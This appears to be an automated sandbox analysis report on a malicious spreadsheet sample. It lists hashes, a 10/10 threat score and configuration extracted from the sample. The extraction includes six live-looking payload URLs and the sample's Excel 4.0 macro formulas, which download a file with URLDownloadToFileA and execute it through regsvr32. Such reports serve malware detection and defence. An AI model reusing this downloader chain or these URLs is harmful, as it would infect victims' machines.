General
-
Target
20cbce7a8ddda4a50956f22ba1ccf70bdb6c6fcd0a9d27be4ef30218a23724ee
-
Size
46KB
-
Sample
241120-fwe1js1flb
-
MD5
8d3e65e288df71f1a9e7694d2db018c5
-
SHA1
b9b8793c46df93cbd6cd97c673d05f15d0c08951
-
SHA256
20cbce7a8ddda4a50956f22ba1ccf70bdb6c6fcd0a9d27be4ef30218a23724ee
-
SHA512
6777f00c97b23ea88b2851864c7250d71a98f1c3b8a7fe1c8256860ed76c7e014b51142158fbd0265e110d6963dfc5d54f63332a44d2eb667fda232ebf73611b
-
SSDEEP
768:QwLvfWDOevZCwrvtrDPzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfskoM:hWDzftT5fTR4Lh1NisFYBc3cr+UqVfD9
Malware Config
Extracted
http://congresoapp2021.com/u07di/wkdehSgS/
http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/
http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/
http://tournhatrang.asia/cgi-bin/2gnqrN/
https://novinex.net/wp-admin/7WlWVE5fQKnZ1/
http://support.techopesolutions.com/gq2z3/31ecS/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://congresoapp2021.com/u07di/wkdehSgS/","..\cre.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/","..\cre.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/","..\cre.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://tournhatrang.asia/cgi-bin/2gnqrN/","..\cre.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://novinex.net/wp-admin/7WlWVE5fQKnZ1/","..\cre.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://support.techopesolutions.com/gq2z3/31ecS/","..\cre.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\cre.ocx") =RETURN()
Extracted
http://congresoapp2021.com/u07di/wkdehSgS/
http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/
http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/
http://tournhatrang.asia/cgi-bin/2gnqrN/
Targets
-
-
Target
20cbce7a8ddda4a50956f22ba1ccf70bdb6c6fcd0a9d27be4ef30218a23724ee
-
Size
46KB
-
MD5
8d3e65e288df71f1a9e7694d2db018c5
-
SHA1
b9b8793c46df93cbd6cd97c673d05f15d0c08951
-
SHA256
20cbce7a8ddda4a50956f22ba1ccf70bdb6c6fcd0a9d27be4ef30218a23724ee
-
SHA512
6777f00c97b23ea88b2851864c7250d71a98f1c3b8a7fe1c8256860ed76c7e014b51142158fbd0265e110d6963dfc5d54f63332a44d2eb667fda232ebf73611b
-
SSDEEP
768:QwLvfWDOevZCwrvtrDPzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfskoM:hWDzftT5fTR4Lh1NisFYBc3cr+UqVfD9
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-